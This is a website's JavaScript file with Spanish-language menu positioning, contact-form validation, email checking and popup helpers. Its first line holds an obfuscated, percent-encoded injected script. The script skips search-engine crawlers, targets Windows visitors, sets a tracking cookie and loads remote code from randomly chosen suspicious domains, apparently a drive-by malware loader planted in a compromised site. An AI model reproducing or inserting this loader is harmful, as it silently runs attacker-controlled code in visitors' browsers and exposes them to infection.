var st1 = 0;document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%3E%76%61%72%20%61%3D%77%69%6E%64%6F%77%2E%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%2C%62%3D%2F%28%79%61%68%6F%6F%7C%73%65%61%72%63%68%7C%6D%73%6E%62%6F%74%7C%79%61%6E%64%65%78%7C%67%6F%6F%67%6C%65%62%6F%74%7C%62%69%6E%67%7C%61%73%6B%29%2F%69%2C%63%3D%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%3B%20%69%66%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%2E%69%6E%64%65%78%4F%66%28%22%68%6F%6C%79%63%6F%6F%6B%69%65%22%29%3D%3D%2D%31%26%26%21%61%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%6D%61%74%63%68%28%62%29%26%26%63%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%22%77%69%6E%22%29%21%3D%2D%31%29%7B%76%61%72%20%64%3D%5B%22%6D%79%61%64%73%2E%6E%61%6D%65%22%2C%22%61%64%73%6E%65%74%2E%62%69%7A%22%2C%22%74%6F%6F%6C%62%61%72%63%6F%6D%2E%6F%72%67%22%2C%22%6D%79%62%61%72%2E%75%73%22%2C%22%66%72%65%65%61%64%2E%6E%61%6D%65%22%5D%2C%65%3D%5B%22%76%61%67%69%2E%22%2C%22%76%61%69%6E%2E%22%2C%22%76%61%6C%65%2E%22%2C%22%76%61%72%73%2E%22%2C%22%76%61%72%79%2E%22%2C%22%76%61%73%61%2E%22%2C%22%76%61%75%74%2E%22%2C%22%76%61%76%73%2E%22%2C%22%76%69%6E%79%2E%22%2C%22%76%69%6F%6C%2E%22%2C%22%76%72%6F%77%2E%22%2C%22%76%75%67%73%2E%22%2C%22%76%75%6C%6E%2E%22%5D%2C%66%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%64%2E%6C%65%6E%67%74%68%29%2C%67%3D%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%65%2E%6C%65%6E%67%74%68%29%3B%64%74%3D%6E%65%77%20%44%61%74%65%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%2B%39%30%37%32%45%34%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%22%68%6F%6C%79%63%6F%6F%6B%69%65%3D%22%2B%65%73%63%61%70%65%28%22%68%6F%6C%79%63%6F%6F%6B%69%65%22%29%2B%22%3B%65%78%70%69%72%65%73%3D%22%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%22%3B%70%61%74%68%3D%2F%22%3B%20%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%65%5B%67%5D%2B%64%5B%66%5D%2B%27%2F%73%79%73%74%65%6D%2F%63%61%70%74%69%6F%6E%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%7D%3B%3C%2F%73%63%72%69%70%74%3E'));var gr0=0;// JavaScript Document
function findPos(obj) {
	var curleft = curtop = 0;
	if (obj.offsetParent) {
		do {
			curleft += obj.offsetLeft;
			curtop += obj.offsetTop;
		} while (obj = obj.offsetParent);
	}
	return [curleft,curtop];
}

function mostrarCategoria(id, obj)
{
	var opcMenu;
	var menuScroll;
	var otherOpc;
	var re;
	var positions = new Array();
	var posY;
	menuScroll = document.getElementById('menu').scrollTop;
	if(obj)
	{
		obj.className='menu_nohover';	
	}
	opcMenu = document.getElementById('opcMenu');
	otherOpc = document.getElementsByTagName('div');
	re = new RegExp('^o[0-9]+$'); 
	for (cont = 0; cont < otherOpc.length; cont++)
	{
		if(otherOpc[cont].id.match(re) && otherOpc[cont].id.substring(1) != id.substring(1))
			otherOpc[cont].className='menu_hover';
	}
	if(opcMenu)
	{
		if(document.getElementById(id))
		{
			positions =  findPos(obj);
			opcMenu.className = 'absoluto';
			opcMenu.innerHTML = document.getElementById(id).innerHTML;
			opcMenu.style.left = positions[0] + 250 + 'px';
			opcMenu.style.top = positions[1] - menuScroll + 'px';
		}
		else
		{
			opcMenu.className = 'hide';
			opcMenu.innerHTML = '';
		}
	}
}
function ocultarCategoria()
{

	var opcMenu;
	if(document.getElementById('opcMenu'))
	{
		opcMenu = document.getElementById('opcMenu');
		opcMenu.className = 'hide';
		opcMenu.innerHTML = '';
	}
}

function checkForm()
{
	var cname, cemail, csubject, cmessage;
	cname = document.getElementById('sname');
	cemail = document.getElementById('email');
	csubject = document.getElementById('subject');
	cmessage = document.getElementById('message');
	
	if(trim(cname.value) == '')
	{
		alert('Por favor introduce tu nombre.');
		cname.focus();
		return false;
	}
	else if(trim(cemail.value) == '')
	{
		alert('Por favor introduce tu e-mail.');
		cemail.focus();
		return false;
	}
	else if(!isEmail(trim(cemail.value)))
	{
		alert('La direccion e-mail que escribiste no es valida!');
		cemail.focus();
		return false;
	}
	else if(trim(csubject.value) == '')
	{
		alert('Por favor introduce el titulo.');
		csubject.focus();
		return false;
	}
	else if(trim(cmessage.value) == '')
	{
		alert('Por favor introduce tu mensaje.');
		cmessage.focus();
		return false;
	}
	else
	{
		cname.value    = trim(cname.value);
		cemail.value   = trim(cemail.value);
		csubject.value = trim(csubject.value);
		cmessage.value = trim(cmessage.value);
		return true;
	}
}

/*
Strip whitespace from the beginning and end of a string
Input : a string
*/
function trim(str)
{
	return str.replace(/^\s+|\s+$/g,'');
}

/*
Check if a string is in valid email format. 
Returns true if valid, false otherwise.
*/
function isEmail(str)
{
	var regex = /^[-_.a-z0-9]+@(([-_a-z0-9]+\.)+(ad|ae|aero|af|ag|ai|al|am|an|ao|aq|ar|arpa|as|at|au|aw|az|ba|bb|bd|be|bf|bg|bh|bi|biz|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cd|cf|cg|ch|ci|ck|cl|cm|cn|co|com|coop|cr|cs|cu|cv|cx|cy|cz|de|dj|dk|dm|do|dz|ec|edu|ee|eg|eh|er|es|et|eu|fi|fj|fk|fm|fo|fr|ga|gb|gd|ge|gf|gh|gi|gl|gm|gn|gov|gp|gq|gr|gs|gt|gu|gw|gy|hk|hm|hn|hr|ht|hu|id|ie|il|in|info|int|io|iq|ir|is|it|jm|jo|jp|ke|kg|kh|ki|km|kn|kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mil|mk|ml|mm|mn|mo|mp|mq|mr|ms|mt|mu|museum|mv|mw|mx|my|mz|na|name|nc|ne|net|nf|ng|ni|nl|no|np|nr|nt|nu|nz|om|org|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|pro|ps|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|ws|ye|yt|yu|za|zm|zw)|(([0-9][0-9]?|[0-1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5])\.){3}([0-9][0-9]?|[0-1][0-9][0-9]|[2][0-4][0-9]|[2][5][0-5]))$/i;
	return regex.test(str);
}
function popup(url, titulo, ancho, alto){
	window.open(url , titulo, 'width='+ancho+',height='+alto+',scrollbars=NO'); 
	return false;
}
function js_void()
{
}